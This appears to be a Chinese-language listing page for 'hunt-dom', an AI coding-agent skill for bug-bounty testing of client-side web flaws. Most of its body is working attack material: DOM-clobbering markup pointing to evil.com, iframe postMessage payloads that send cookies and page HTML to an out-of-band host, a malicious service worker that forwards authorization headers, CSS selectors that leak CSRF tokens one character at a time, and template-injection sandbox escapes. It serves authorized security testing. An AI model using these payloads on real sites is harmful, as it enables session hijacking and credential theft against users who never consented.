关于 hunt-dom
hunt-dom 是用于测试 DOM 混淆、postMessage、Service Worker、CSS 数据外传和模板注入等客户端 Web 漏洞的技能,提供调查步骤及影响验证方法。
主要功能
- 01调查 DOM 混淆与客户端执行点
- 02检查 postMessage 处理器和发送方
- 03评估同源 Service Worker 滥用
- 04测试 CSS 注入能否外传数据
- 05检查框架 HTML 执行点与模板注入
适用场景
- 01追踪标记注入是否进入 DOM 执行点
- 02检查跨来源消息是否泄露机密或触发操作
- 03判断 CSS 注入能否泄露令牌
- 04评估同源注册的 Service Worker 是否持续生效
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-dom安装后在 Claude Code 中输入/hunt-dom确认已加载。
详细介绍
HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS 外泄
皇冠级目标
基于 DOM 的攻击在受害者的浏览器中执行,服务器通常根本看不到载荷,因此 WAF 和服务端输入过滤器都不起作用。PostMessage 未检查来源=无需 XSS 即可跨源窃取令牌。
价值最高的攻击链:
- DOM Clobbering → DOM-XSS / 身份验证绕过 — 注入 HTML 标记(不含
<script>)会覆盖window.config之类的 JS 全局变量,或遮蔽document.getElementById;应用之后将该值当作 URL/代码处理,从而触发 sink,即使注入只包含标记、脚本已被过滤也能奏效。 - PostMessage 未检查来源 → 会话窃取 / DOM-XSS — 若
message处理程序信任event.data,却不验证event.origin,攻击者便能通过 iframe/opener 驱动特权操作,或向 sink 提供数据。 - 滥用 Service Worker — 通过存储型 XSS 注册同源 SW 脚本(可通过上传、开放重定向或目标站点提供的路径访问),以拦截所有范围内的
fetch→ 持续捕获凭据。 - CSS 外泄 — 属性值选择器(
input[value^="a"])无需任何 JS,即可逐字符将 CSRF 令牌/API 密钥/nonce 泄露到 OOB 主机。
依据——本文提炼自的公开研究
- DOM Clobbering / DOM-Invader — Gareth Heyes 与 PortSwigger Web Security Academy 的“DOM clobbering”主题;DOM-Invader 内置专用的 clobbering 扫描器。sink 分类对应 Academy 的基于 DOM 的漏洞实验。
- DOMPurify clobbering 和 mXSS 绕过 — Michał Bentkowski(Securitum)关于通过 clobbering 和 mutation XSS 绕过 HTML 清理器的博客系列。
- jQuery
htmlPrefilter自闭合标签 XSS — CVE-2020-11022 和 CVE-2020-11023(jQuery < 3.5.0)。将攻击者控制的 HTML 传给.html()/.append()会使其变异为可执行标记。用 grep 检查捆绑的 jQuery 版本;这是现实中最常见的 DOM-XSS 根源之一。 - CSS 外泄 — d0nut 的“CSS Injection Attacks” / “Stealing Data With CSS”研究(通过连续
@import递归解除逐字符位置限制)。
仅引用你实际复现的内容。不要把这些内容作为“证据”贴进报告——你针对真实目标的 PoC 才是证据。此处列出的研究用于说明技术来源,而非夸大严重性。
攻击面信号
# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes
# Service worker presence:
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
# CSS injection points:
?theme= custom-css profile field email-template editor style= passthrough
阶段 1 — DOM Clobbering
# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.
# Single-level clobber of window.config:
# <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
# <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
# <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
# Nested window.a.b.c via form/inputs:
# <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
# <base href="https://evil.com/"> # bends every relative src/href
// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
const v = window[k];
// HTMLCollection / element => already clobbered or clobberable namespace
if (v && (v instanceof Element || v instanceof HTMLCollection))
console.log('[CLOBBERED/NAMESPACE]', k, v);
else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});
# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -nE \
"document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.
jQuery 方向: 如果捆绑包中包含 jQuery < 3.5.0,传给 .html()/.append() 的攻击者控制的 HTML 会自行变异并执行(CVE-2020-11022 / CVE-2020-11023)。确认版本后,测试 <style><style /><img src=x onerror=alert(document.domain)>。
阶段 2 — 劫持 PostMessage
存在两类漏洞:(a) 监听器信任跨源数据 → 驱动 sink/特权操作;(b) 发送方使用目标来源 '*' 广播机密 → 任何嵌入该页面的页面都能读取。
# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
| grep -vE "\.origin\b"
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
document.getElementById('f').onload = () => {
const w = document.getElementById('f').contentWindow;
// Shape the payload to whatever the handler routes into a sink:
w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
};
</script>
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
// Only count it if e.origin is the TARGET and data carries a secret
out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>
误报防护:带有部分检查的处理程序(
origin.indexOf('target.com')>-1、endsWith('target.com')、正则target\.com)仍然存在漏洞——可用target.com.evil.com或eviltarget.com绕过。从这类仿冒域名提供 PoC,并证明消息仍能到达,以确认漏洞。
阶段 3 — 滥用 Service Worker
硬性规则(纠正常见错误):SW 脚本 URL 必须与调用 register() 的页面同源。跨源脚本 URL(https://evil.com/sw.js)会抛出 SecurityError——没有任何标头可以启用跨源 SW 脚本注册。Service-Worker-Allowed 只会扩大同源脚本可控制的作用域,不会改变脚本所在的位置。
因此,现实可行的路径是:将 SW 脚本放到目标源上(可提供 JS 的文件上传功能、将目标源反射为脚本的开放重定向或路径、text/javascript 类型的 JSON/JSONP 端点,或由你控制的现有路由),然后从同源 XSS 注册它。
# Enumerate existing SW + its scope
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
# curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
.then(r => fetch('https://OOB/sw-registered?scope='+r.scope)) // OOB proof of registration
.catch(e => console.log('SW reg failed', e.name)); // SecurityError => wrong origin/scope
// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
e.respondWith(fetch(e.request.clone()).then(async resp => {
// Exfil URL + any auth header the page attaches, to OOB
fetch('https://OOB/sw-intercept', {method:'POST',
body: JSON.stringify({url: e.request.url,
auth: e.request.headers.get('authorization')})});
return resp;
}));
});
持久性说明:关闭标签页后,SW 仍会保留,并在下次访问其作用域内的页面时重新运行——这正是它被评为严重(Critical)的原因。关闭所有标签页、重新打开该源,并在不重新触发 XSS 的情况下展示一次新的 OOB 命中,以确认持久性。
阶段 4 — CSS 注入 / 外带
# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.
范围注意事项(纠正过度表述):CSS 外带可以绕过阻止脚本执行的 CSP,但不能绕过通过
style-src/img-src/default-src/connect-src限制外部源或通过form-action加以限制的 CSP。如果设置了img-src 'self',则url(https://OOB/...)会被阻止。务必先读取实时的Content-Security-Policy标头;如果外部资源源已被锁定,CSS 外带就行不通,应如实说明,而不是声称它可行。
/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
# Real exfil needs recursion: serve a stylesheet whose @import pulls the next
# position's rules only after the current prefix matched (d0nut technique) —
# this removes the "static input, one char" limitation.
验证:证据是 OOB 命中,而不是渲染出的颜色。搭建 Collaborator / 请求收集器,并展示每个正确字符各对应一次命中,组成真实令牌,然后演示使用该令牌发起会改变状态的 CSRF 请求。没有 OOB 回调就不算发现(在 DevTools 中,0 字节图像或被 CSP 阻止的请求看起来都像是成功)。
阶段 5 — dangerouslySetInnerHTML / 框架注入点
grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
# In minified Next/React bundles:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -Eo 'dangerouslySetInnerHTML.{0,120}'
# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.
阶段 6 — 客户端模板注入
# Detect framework, then test the {{}} sink in a sandbox-bypass form.
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
# {{7*7}} -> 49 in the live DOM (not in raw HTML) => CSTI
# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
# {{constructor.constructor('alert(document.domain)')()}}
# Vue: {{_c.constructor('alert(1)')()}} (varies by Vue 2/3 build)
利用链表
| DOM 发现 | 利用链到 | 影响 |
|---|---|---|
DOM 篡改 → 将被篡改的 URL 注入 script.src/location | 仅通过标记注入即可触发 DOM-XSS | 高 / 绕过身份验证 |
| PostMessage 缺少或未充分检查 origin(监听器) | 数据 → innerHTML/eval/location 注入点 | DOM-XSS → ATO |
PostMessage 的 targetOrigin:'*' 发送方 | 任何框架页面都可读取令牌/身份验证代码 | 跨源令牌窃取 |
| CSS 外带(经 OOB 确认) | 泄露 CSRF 令牌 → 发起 CSRF | CSRF 利用链(中等及以上) |
| 通过 XSS 注入同源 Service Worker | 拦截作用域内所有 fetch 请求和身份验证标头 | 持久性 ATO(严重) |
| dangerouslySetInnerHTML,未使用净化器 | 存储型 DOM-XSS | XSS → ATO |
工具
# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
# postMessage-tracker — Chrome extension logging cross-window messages
# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
# Verify any command URL before citing it in a report; do not paste unverified repo links.
验证(避免误报)
遵循仓库标准:某种技术即使能在 DevTools 中触发,也不算发现,除非带外确认并且有状态证明。
- DOM 篡改 — 展示被篡改的值确实到达了接收点(XSS 载荷执行,或应用从攻击者 URL 导航/加载)。可被篡改的全局变量若始终没有到达接收点 = 没有影响,不要报告。
- PostMessage — 区分检查是缺失还是薄弱;从仿冒来源绕过薄弱检查,并通过带外方式捕获。仅有嘈杂的
message日志不能作为证明——展示特权操作或令牌外泄。 - CSS 外泄 — 每个正确字符都触发带外回连,才是唯一有效证明。 先检查 CSP:限制外部来源的
img-src/style-src/connect-src/default-src会使其失效。在 Network 选项卡中,遭拦截的url()与成功的情况无法区分——请在 Collaborator 端确认。 - Service Worker — 注册脚本必须是同源脚本;
SecurityError表示你引用了错误的来源。证明其具有持久性(关闭标签页 → 重新打开 → 出现新的带外命中,且未再次触发 XSS)。 - 一般要求 — 每次测试使用唯一标记(
btoa(domain)+nonce),以便确认带外命中来自你自己的载荷,而非后台流量;对渲染后的 DOM 做差异比较,不要比较原始 HTML,因为这些都是客户端问题。
严重程度:
- 同源 Service Worker → 持续拦截凭据:严重
- PostMessage 数据 → DOM-XSS/令牌窃取 → ATO:高危–严重
- DOM 篡改 → DOM-XSS 到达身份验证/会话:高危
- CSS 外泄 CSRF 令牌(经带外证明)→ CSRF:中危(若串联的 CSRF 会影响账户安全,则提高等级)
验证
运行此自测,以确认已准备好进行 DOM 挖掘:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-dom" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱章节 — 确认已记录陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
这 3 项测试可验证技能结构正确,已准备就绪。
陷阱
- 未确认接收点的 DOM XSS — 发现用户输入进入
innerHTML或document.write,只表示存在潜在接收点,并非已确认的漏洞。追踪从来源到接收点的完整数据流。 - 未检查来源的 postMessage — 接收 postMessage 事件却不验证
event.origin,才是漏洞。使用window.postMessage(payload, '*')进行测试。 - 不含机密的 Source Map — 仅有
.map文件只是信息性发现。需要提取出 API 密钥、内部路径或凭据。 - 使用静态字符串的 eval —
eval("constant")不可利用。需要有动态输入到达 eval。 - 声称可绕过净化器却没有证据 — 声称绕过 DOMPurify,必须提供针对当前使用版本的有效载荷。